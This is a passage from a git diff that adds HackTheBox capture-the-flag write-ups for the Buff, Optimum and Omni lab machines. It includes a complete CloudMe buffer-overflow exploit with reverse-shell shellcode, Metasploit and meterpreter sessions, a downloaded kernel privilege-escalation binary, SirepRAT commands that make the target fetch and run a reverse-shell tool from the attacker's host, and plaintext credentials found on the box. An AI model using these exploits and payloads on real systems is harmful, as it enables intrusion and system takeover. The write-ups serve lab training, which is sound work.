b"\x75\x6a\x23\xb1\xf8\xd6\x07\xa1\xc4\xd7\x03\x95" + payload += b"\x98\x81\xdd\x43\x5f\x78\xac\x3d\x09\xd7\x66\xa9" + payload += b"\xcc\x1b\xb9\xaf\xd0\x71\x4f\x4f\x60\x2c\x16\x70" + payload += b"\x4d\xb8\x9e\x09\xb3\x58\x60\xc0\x77\x68\x2b\x48" + payload += b"\xd1\xe1\xf2\x19\x63\x6c\x05\xf4\xa0\x89\x86\xfc" + payload += b"\x58\x6e\x96\x75\x5c\x2a\x10\x66\x2c\x23\xf5\x88" + payload += b"\x83\x44\xdc" + + + +Which gives us the following exploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/78 ] [~/HTB/Buff] + → cat exploit.py + # Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC) + # Date: 2020-04-27 + # Exploit Author: Andy Bowden + # Vendor Homepage: https://www.cloudme.com/en + # Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe + # Version: CloudMe 1.11.2 + # Tested on: Windows 10 x86 + + #Instructions: + # Start the CloudMe service and run the script. + + import socket + + target = "127.0.0.1" + + padding1 = b"\x90" * 1052 + EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET + NOPS = b"\x90" * 30 + + #NOT msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python + # msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 -b '\x00\x0A\x0D' -f python -v payload + payload = b"" + payload += b"\xba\xcc\x93\xd2\xd9\xdb\xc8\xd9\x74\x24\xf4\x58" + payload += b"\x2b\xc9\xb1\x52\x31\x50\x12\x03\x50\x12\x83\x0c" + payload += b"\x97\x30\x2c\x70\x70\x36\xcf\x88\x81\x57\x59\x6d" + payload += b"\xb0\x57\x3d\xe6\xe3\x67\x35\xaa\x0f\x03\x1b\x5e" + payload += b"\x9b\x61\xb4\x51\x2c\xcf\xe2\x5c\xad\x7c\xd6\xff" + payload += b"\x2d\x7f\x0b\xdf\x0c\xb0\x5e\x1e\x48\xad\x93\x72" + payload += b"\x01\xb9\x06\x62\x26\xf7\x9a\x09\x74\x19\x9b\xee" + payload += b"\xcd\x18\x8a\xa1\x46\x43\x0c\x40\x8a\xff\x05\x5a" + payload += b"\xcf\x3a\xdf\xd1\x3b\xb0\xde\x33\x72\x39\x4c\x7a" + payload += b"\xba\xc8\x8c\xbb\x7d\x33\xfb\xb5\x7d\xce\xfc\x02" + payload += b"\xff\x14\x88\x90\xa7\xdf\x2a\x7c\x59\x33\xac\xf7" + payload += b"\x55\xf8\xba\x5f\x7a\xff\x6f\xd4\x86\x74\x8e\x3a" + payload += b"\x0f\xce\xb5\x9e\x4b\x94\xd4\x87\x31\x7b\xe8\xd7" + payload += b"\x99\x24\x4c\x9c\x34\x30\xfd\xff\x50\xf5\xcc\xff" + payload += b"\xa0\x91\x47\x8c\x92\x3e\xfc\x1a\x9f\xb7\xda\xdd" + payload += b"\xe0\xed\x9b\x71\x1f\x0e\xdc\x58\xe4\x5a\x8c\xf2" + payload += b"\xcd\xe2\x47\x02\xf1\x36\xc7\x52\x5d\xe9\xa8\x02" + payload += b"\x1d\x59\x41\x48\x92\x86\x71\x73\x78\xaf\x18\x8e" + payload += b"\xeb\xda\xd6\x9e\xe6\xb2\xe4\x9e\xf9\xf9\x60\x78" + payload += b"\x93\xed\x24\xd3\x0c\x97\x6c\xaf\xad\x58\xbb\xca" + payload += b"\xee\xd3\x48\x2b\xa0\x13\x24\x3f\x55\xd4\x73\x1d" + payload += b"\xf0\xeb\xa9\x09\x9e\x7e\x36\xc9\xe9\x62\xe1\x9e" + payload += b"\xbe\x55\xf8\x4a\x53\xcf\x52\x68\xae\x89\x9d\x28" + payload += b"\x75\x6a\x23\xb1\xf8\xd6\x07\xa1\xc4\xd7\x03\x95" + payload += b"\x98\x81\xdd\x43\x5f\x78\xac\x3d\x09\xd7\x66\xa9" + payload += b"\xcc\x1b\xb9\xaf\xd0\x71\x4f\x4f\x60\x2c\x16\x70" + payload += b"\x4d\xb8\x9e\x09\xb3\x58\x60\xc0\x77\x68\x2b\x48" + payload += b"\xd1\xe1\xf2\x19\x63\x6c\x05\xf4\xa0\x89\x86\xfc" + payload += b"\x58\x6e\x96\x75\x5c\x2a\x10\x66\x2c\x23\xf5\x88" + payload += b"\x83\x44\xdc" + + overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + payload)) + + buff = padding1 + EIP + NOPS + payload + overrun + + try: + s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((target,8888)) + s.send(buff) + except Exception as e: + print(sys.exc_value) + + + +So let's run it: + + + [ 10.10.14.13/23 ] [ /dev/pts/78 ] [~/HTB/Buff] + → python3 exploit.py + + + +And we catch the reverse shell connection: + + + [ 10.10.14.13/23 ] [ /dev/pts/79 ] [~/HTB/Buff] + → nc -lvnp 443 + listening on [any] 443 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.198] 50000 + Microsoft Windows [Version 10.0.17134.1610] + (c) 2018 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>whoami + whoami + buff\administrator + + C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt + type C:\Users\Administrator\Desktop\root.txt + 4bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get a reverse shell as root and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/49_graph.png) + diff --git a/Easy/5.md b/Easy/5.md new file mode 100644 index 0000000..9764bb5 --- /dev/null +++ b/Easy/5.md @@ -0,0 +1,214 @@ +# Optimum Writeup + +![](img/5.png) + +## Introduction : + +Optimum was an easy Windows box released back in March 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + **λ nihilist [nihilist/_HTB/Optimum] → nmap -sC -sV 10.10.10.8** + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 14:48 CET + Nmap scan report for 10.10.10.8 + Host is up (0.037s latency). + Not shown: 999 filtered ports + PORT STATE SERVICE VERSION + 80/tcp open http HttpFileServer httpd 2.3 + |_http-server-header: HFS 2.3 + |_http-title: HFS / + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds + + +Browsing to http://10.10.10.8/ gives us the main page of rejetto's HttpFileServer 2.3 service as planned. + +![](prg/5_001.png)![](prg/5_002.png) + +## **Part 2 : Getting User Access** + +Let's use the **nikto** command to enumerate potential vulnerabilities on the Http service. + + + **λ root [nihilist/_HTB/Optimum] → nikto -h http://10.10.10.8/** + - Nikto v2.1.6 + --------------------------------------------------------------------------- + + Target IP: 10.10.10.8 + + Target Hostname: 10.10.10.8 + + Target Port: 80 + + Start Time: 2019-11-10 15:02:06 (GMT1) + --------------------------------------------------------------------------- + + Server: HFS 2.3 + + Cookie HFS_SID created without the httponly flag + + The anti-clickjacking X-Frame-Options header is not present. + + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + + No CGI Directories found (use '-C all' to force check all possible dirs) + + ERROR: Error limit (20) reached for host, giving up. Last error: + + Scan terminated: 0 error(s) and 4 item(s) reported on remote host + + End Time: 2019-11-10 15:02:50 (GMT1) (44 seconds) + --------------------------------------------------------------------------- + + 1 host(s) tested + + +Let's use the **searchsploit** command to see which exploits are publicly available for rejetto's HttpFileServer service. + + + **λ root [nihilist/_HTB/Optimum] → searchsploit rejetto** + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | exploits/windows/remote/34926.rb + Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities | exploits/windows/remote/31056.py + Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | exploits/multiple/remote/30850.txt + Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | exploits/windows/remote/34668.txt + Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | exploits/windows/remote/39161.py + Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution | exploits/windows/webapps/34852.txt + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + + +it seems that there are Remote Command Execution Vulnerabilities. We will use a metasploit module to exploit the target. + + + **msf5 > search rejetto** + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution + + + **msf5 > use exploit/windows/http/rejetto_hfs_exec** + + **msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOST 10.10.10.8** + RHOST => 10.10.10.8 + **msf5 exploit(windows/http/rejetto_hfs_exec) > set RPORT 80** + RPORT => 80 + **msf5 exploit(windows/http/rejetto_hfs_exec) > set SRVHOST 10.10.14.48** + SRVHOST => 10.10.14.48 + **msf5 exploit(windows/http/rejetto_hfs_exec) > set SRVPORT 9001** + SRVPORT => 9001 + **msf5 exploit(windows/http/rejetto_hfs_exec) > set LHOST 10.10.15.150** + LHOST => 10.10.15.150 + **msf5 exploit(windows/http/rejetto_hfs_exec) > set LPORT 9002** + LPORT => 9002 + + **msf5 exploit(windows/http/rejetto_hfs_exec) > set PAYLOAD windows/x64/meterpreter/reverse_tcpset** + + **msf5 exploit(windows/http/rejetto_hfs_exec) > exploit** + + [*] Started reverse TCP handler on 10.10.14.48:9002 + [*] Using URL: http://10.10.14.48:9001/7WzzcN0iSur + [*] Server started. + [*] Sending a malicious request to / + [*] Payload request received: /7WzzcN0iSur + [*] Sending stage (180291 bytes) to 10.10.10.8 + [*] Meterpreter session 1 opened (10.10.14.48:9002 -> 10.10.10.8:49184) at 2019-11-10 15:27:23 +0100 + [!] Tried to delete %TEMP%\XAzNIKQmr.vbs, unknown result + [*] Server stopped. + + **meterpreter > sysinfo** + Computer : OPTIMUM + OS : Windows 2012 R2 (6.3 Build 9600). + Architecture : x64 + System Language : el_GR + Domain : HTB + Logged On Users : 1 + Meterpreter : x86/windows + + **meterpreter > shell** + Process 1992 created. + Channel 2 created. + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + **C:\Users\kostas\Desktop>whoami** + whoami + optimum\kostas + + + +Meterpreter Returned ! we are now logged on as kostas into a low-privilege shell. + +## **Part 3 : Getting Root Access** + +Now we need to use the exploit n°41020 taking advantage of RGNOBJ's Integer OVerflow on Windows 8.1 (MS16-098) We will download 41020.exe from exploit-db's collection of binary exploits available on github. + +_Terminal n°1:_ + + + **wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe** + + --2019-11-10 15:37:28-- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.118.3 + Connecting to github.com (github.com)|140.82.118.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/41020.exe [following] + --2019-11-10 15:37:28-- https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/41020.exe + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133 + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 560128 (547K) [application/octet-stream] + Saving to: ‘41020.exe’ + + 41020.exe 100%[==============================================>] 547.00K 840KB/s in 0.7s + + 2019-11-10 15:37:30 (840 KB/s) - ‘41020.exe’ saved [560128/560128] + + +We downloaded the binary, now let's upload it to the server using metasploit, and execute it to attempt getting an elevated privilege shell. + +_Terminal n°2:_ + + + **meterpreter > upload 41020.exe** + [*] uploading : 41020.exe -> 41020.exe + [*] Uploaded 547.00 KiB of 547.00 KiB (100.0%): 41020.exe -> 41020.exe + [*] uploaded : 41020.exe -> 41020.exe + meterpreter > shell + Process 900 created. + Channel 4 created. + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + **C:\Users\kostas\Desktop>41020.exe** + 41020.exe + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + **C:\Users\kostas\Desktop>whoami** + whoami + nt authority\system + + +The privilege escalation was successful ! Now all that's left to do is collecting the user and root flags. + + + **C:\Users\kostas\Desktop>cd ..\..\..** + + **C:\>more C:\Users\kostas\Desktop\user.txt.txt** + more C:\Users\kostas\Desktop\user.txt.txt + d0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + **C:\>more C:\Users\Administrator\Desktop\root.txt** + more C:\Users\Administrator\Desktop\root.txt + 51XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/5_graph.png) + diff --git a/Easy/50.md b/Easy/50.md new file mode 100644 index 0000000..e8129a5 --- /dev/null +++ b/Easy/50.md @@ -0,0 +1,540 @@ +# Omni Writeup + +![](img/50.png) + +## Introduction : + +Omni is an Easy box released back in August 2020, it features a Windows IOT Core which can run on raspberry pis. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Omni] + → nmap -vvv -p- 10.10.10.204 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 8080/tcp on 10.10.10.204 + Discovered open port 135/tcp on 10.10.10.204 + Discovered open port 29817/tcp on 10.10.10.204 + Discovered open port 29820/tcp on 10.10.10.204 + Discovered open port 5985/tcp on 10.10.10.204 + Discovered open port 29819/tcp on 10.10.10.204 + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Omni] + → nmap -sCV -p 135,8008,5985,29817,29820,29819 10.10.10.204 -Pn + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 16:51 CEST + Nmap scan report for 10.10.10.204 + Host is up (0.039s latency). + + PORT STATE SERVICE VERSION + 135/tcp open msrpc Microsoft Windows RPC + 5985/tcp open upnp Microsoft IIS httpd + 8008/tcp filtered http + 29817/tcp open unknown + 29819/tcp open arcserve ARCserve Discovery + 29820/tcp open unknown + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port29820-TCP:V=7.91%I=7%D=6/2%Time=60B79B09%P=x86_64-pc-linux-gnu%r(NU + SF:LL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"\ + SF:*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x04 + SF:G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc + SF:9}\xc8O\x12"); + Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 74.02 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 8080, so let's investigate it: + +![](prg/50_001.png) + +We don't have credentials yet, so let's try to spawn a null session on the RPC port: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [~/HTB/Omni] + → rpcclient -U "" -N 10.10.10.204 + Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT + + + +No luck either, all that's left is the other 298XX ports, but we barely have any info on those. Although we know that this is windows from the port scanning, let's search what the ports may be about with what we know: + +![](prg/50_002.png) + +And now we're onto something! This may be a Windows IOT machine, and the [presentation](https://woprsummit.org/slides-archive/SirepRAT_RCEasSYSTEMonWindowsIoTCore-WOPRSummit.pdf)that was presented in 2019 goes into how the Sirep protocol works, which also shows how it provides a remote unauthenticated execution of SYSTEM on windows IOT hosts. + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [HTB/Omni/SirepRAT] + → python3 SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice + <****SystemInformationResult | type: 51, payload length: 32, kv: {'dwOSVersionInfoSize': 0, 'dwMajorVersion': 10, 'dwMinorVersion': 0, 'dwBuildNumber': 17763, 'dwPlatformId': 2, 'szCSDVersion': 0, 'wServicePackMajor': 1, 'wServicePackMinor': 2, 'wSuiteMask': 0, 'wProductType': 0, 'wReserved': 0}> + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "\c dir -e powershell.exe" --v + --------- + + --------- + --------- + Microsoft Windows [Version 10.0.17763.107] + Copyright (c) Microsoft Corporation. All rights reserved. + + C:\windows\system32> + --------- <****HResultResult | type: 1, payload length: 4, HResult: 0x0> <****OutputStreamResult | type: 11, payload length: 125, payload peek: 'b'Microsoft Windows [Version 10.0.17763.107]\r\nCopyri''> + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "\c whoami -e powershell.exe" --v + --------- + + --------- + --------- + Microsoft Windows [Version 10.0.17763.107] + Copyright (c) Microsoft Corporation. All rights reserved. + + C:\windows\system32> + --------- <****HResultResult | type: 1, payload length: 4, HResult: 0x0> <****OutputStreamResult | type: 11, payload length: 125, payload peek: 'b'Microsoft Windows [Version 10.0.17763.107]\r\nCopyri''> + +Very weird box, we can't even use the whoami command, but let's try to get nc.exe onto the box, we're going to get [xc.exe](../Tools/xc.html) instead: + + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [HTB/Omni/SirepRAT] + → locate xc.exe + /home/nothing/HTB/Servmon/xc/xc.exe + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [HTB/Omni/SirepRAT] + → cp /home/nothing/HTB/Servmon/xc/xc.exe . + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [HTB/Omni/SirepRAT] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + +Then we make the box download it using SirepRAT.py: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → cp /home/nothing/HTB/Servmon/xc/xc . + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → ./xc -l -p 9009 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 17:31:18 Listening on :9009 + 2021/06/02 17:31:18 Waiting for connections... + + + [term2] + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [HTB/Omni/SirepRAT] + → locate xc.exe + /home/nothing/HTB/Servmon/xc/xc.exe + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [HTB/Omni/SirepRAT] + → cp /home/nothing/HTB/Servmon/xc/xc.exe . + + [ 10.10.14.13/23 ] [ /dev/pts/74 ] [HTB/Omni/SirepRAT] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + [term3] + + [ 10.10.14.13/23 ] [ /dev/pts/75 ] [HTB/Omni/SirepRAT] + → python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\xc.exe -Uri http://10.10.14.13:9090/xc.exe" --v + --------- + + --------- <****HResultResult | type: 1, payload length: 4, HResult: 0x0> + +Now that the xc.exe binary got downloaded by the box, we're going to use it to get the reverse shell: + + + [ 10.10.14.13/23 ] [ /dev/pts/75 ] [HTB/Omni/SirepRAT] + → python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\xc.exe 10.10.14.13 9009 -e powershell.exe" --v + --------- + + --------- + --------- + 2021/06/02 15:42:11 Connected to 10.10.14.13:9009 + + --------- + <****HResultResult | type: 1, payload length: 4, HResult: 0x0> <****OutputStreamResult | type: 11, payload length: 50, payload peek: 'b'2021/06/02 15:42:11 Connected to 10.10.14.13:9009\n''> + +And we catched the reverse xc shell connection: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → ./xc -l -p 9009 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 17:31:18 Listening on :9009 + 2021/06/02 17:31:18 Waiting for connections... + 2021/06/02 17:34:39 Connection from 10.10.10.204:49670 + 2021/06/02 17:34:39 Stream established + + [*] Auto-Plugins: + [xc: C:\windows\system32]: !shell + Microsoft Windows [Version 10.0.17763.107] + Copyright (c) Microsoft Corporation. All rights reserved. + + C:\windows\system32>whoami + whoami + 'whoami' is not recognized as an internal or external command, + operable program or batch file. + +Here you see we really cannot use the whoami command, instead we're going to get the value of the **$env:UserName** powershell variable: + + + C:\windows\system32>powershell + powershell + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + + PS C:\windows\system32> $env:UserName + $env:UserName + omni$ + + + +the omni user does not have access to neither user.txt nor to root.txt, so let's enumerate the box for potential privesc paths with winPEAS: + + + PS C:\windows\system32> cd C:\ + cd C:\ + PS C:\> dir + dir + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 7/20/2020 2:36 AM $Reconfig$ + d----l 10/26/2018 11:35 PM Data + d----- 10/26/2018 11:37 PM Program Files + d----- 10/26/2018 11:38 PM PROGRAMS + d----- 10/26/2018 11:37 PM SystemData + d-r--- 10/26/2018 11:37 PM Users + d----- 7/3/2020 10:35 PM Windows + + + PS C:\> mkdir Temp + mkdir Temp + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 6/2/2021 3:45 PM Temp + + + PS C:\> cd Temp + cd Temp + PS C:\Temp> + + +We're going to upload our script in a temporary directory we created: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/75 ] [HTB/Omni/SirepRAT] + → locate winPEAS.ps1 + /usr/share/powershell-empire/data/module_source/privesc/Invoke-winPEAS.ps1 + + [ 10.10.14.13/23 ] [ /dev/pts/75 ] [HTB/Omni/SirepRAT] + → cp $(locate winPEAS.ps1) . + + [ 10.10.14.13/23 ] [ /dev/pts/75 ] [HTB/Omni/SirepRAT] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term2] + + PS C:\Temp> Invoke-WebRequest -uri "http://10.10.14.13:9090/Invoke-winPEAS.ps1" -o "peas.ps1" + Invoke-WebRequest -uri "http://10.10.14.13:9090/Invoke-winPEAS.ps1" -o "peas.ps1" + + PS C:\Temp> ls + ls + + + Directory: C:\Temp + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 6/2/2021 3:56 PM 233056 peas.ps1 + + PS C:\Temp> import-module ./peas.ps1 + import-module ./peas.ps1 + + PS C:\Temp> Invoke-winPEAS + + PS C:\Temp> import-module .\peas.ps1 + import-module .\peas.ps1 + + PS C:\Temp> Invoke-winPEAS + Invoke-winPEAS + Unable to find type [w1nP34S.Program]. + At C:\Temp\peas.ps1:20 char:5 + + [w1nP34S.Program]::Main($Command.Split(" ")) + + ~~~~~~~~~~~~~~~~~ + + CategoryInfo : InvalidOperation: (w1nP34S.Program:TypeName) [], + RuntimeException + + FullyQualifiedErrorId : TypeNotFound + + + +Yeah right, that box is quite a mess so let's manually enumerate: + + + PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> ls + ls + + + Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 10/26/2018 11:37 PM 1.0.0.1 + + + + PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> ls -force + ls -force + + + Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 10/26/2018 11:37 PM 1.0.0.1 + -a-h-- 8/21/2020 12:56 PM 247 r.bat + + + + PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> cat r.bat + cat r.bat + @echo off + + :LOOP + + for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete + + net user app mesh5143 + net user administrator _1nt3rn37ofTh1nGz + + ping -n 3 127.0.0.1 + + cls + + GOTO :LOOP + + :EXIT + + + +And here we find credentials **app:mesh5143** and **administrator:_int3rn37ofTh1nGz** , Let's first get the app user's flag: + +![](prg/50_003.png) + +once logged in we are greeted by the Windows Device Portal, however we're interested in the command prompt: + +![](prg/50_004.png) + +And we're going to run our xc.exe binary once again, but this time as the app user: + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → ./xc -l -p 9008 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 18:20:13 Listening on :9008 + 2021/06/02 18:20:13 Waiting for connections... + +` ![](prg/50_006.png) + + + [ 10.10.14.13/23 ] [ /dev/pts/57 ] [HTB/Omni/SirepRAT] + → ./xc -l -p 9008 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 18:21:50 Listening on :9008 + 2021/06/02 18:21:50 Waiting for connections... + 2021/06/02 18:21:54 Connection from 10.10.10.204:49676 + 2021/06/02 18:21:54 Stream established + + [*] Auto-Plugins: + [xc: C:\windows\system32]: !shell + Microsoft Windows [Version 10.0.17763.107] + Copyright (c) Microsoft Corporation. All rights reserved. + + C:\windows\system32>powershell + powershell + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + PS C:\windows\system32> cd C:\ + cd C:\ + PS C:\> cd Data + cd Data + PS C:\Data> cd Users + cd Users + PS C:\Data\Users> cd app + cd app + PS C:\Data\Users\app> ls + ls + + + Directory: C:\Data\Users\app + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d-r--- 7/4/2020 7:28 PM 3D Objects + d-r--- 7/4/2020 7:28 PM Documents + d-r--- 7/4/2020 7:28 PM Downloads + d----- 7/4/2020 7:28 PM Favorites + d-r--- 7/4/2020 7:28 PM Music + d-r--- 7/4/2020 7:28 PM Pictures + d-r--- 7/4/2020 7:28 PM Videos + -ar--- 7/4/2020 8:20 PM 344 hardening.txt + -ar--- 7/4/2020 8:14 PM 1858 iot-admin.xml + -ar--- 7/4/2020 9:53 PM 1958 user.txt + + + PS C:\Data\Users\app> cat user.txt + cat user.txt <****Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <****Obj RefId="0"> <****TN RefId="0"> <****T>System.Management.Automation.PSCredential <****/T> <****T>System.Object <****/T> <****/TN> <****ToString>System.Management.Automation.PSCredential <****/ToString>** rops> + <****S N="UserName">flag <****/S> <****SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7 <****/SS> <****/Props> <****/Obj> <****/Objs> + +The user flag seems to be encrypted, but we can use **Import-CliXml** to decrypt it: + + + PS C:\Data\Users\app> (Import-CliXml -Path user.txt).GetNetworkCredential().Password + (Import-CliXml -Path user.txt).GetNetworkCredential().Password + 7cfd50f6bc34db3204898f1505ad9d70 + 7cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it ! we got the user flag! + +## **Part 3 : Getting Root Access** + +We're going to repeat the same process with the administrator credentials: + + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Omni/SirepRAT] + → ./xc -l -p 9007 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 18:37:14 Listening on :9007 + 2021/06/02 18:37:14 Waiting for connections... + +` ![](prg/50_007.png) ![](prg/50_008.png) + + + [ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Omni/SirepRAT] + → ./xc -l -p 9007 + + __ _____ + \ \/ / __| + > <****(__ + /_/\_\___| by @xct_de + build: QUnVVFdLYEkibcKx + + 2021/06/02 18:37:14 Listening on :9007 + 2021/06/02 18:37:14 Waiting for connections... + 2021/06/02 19:12:32 Connection 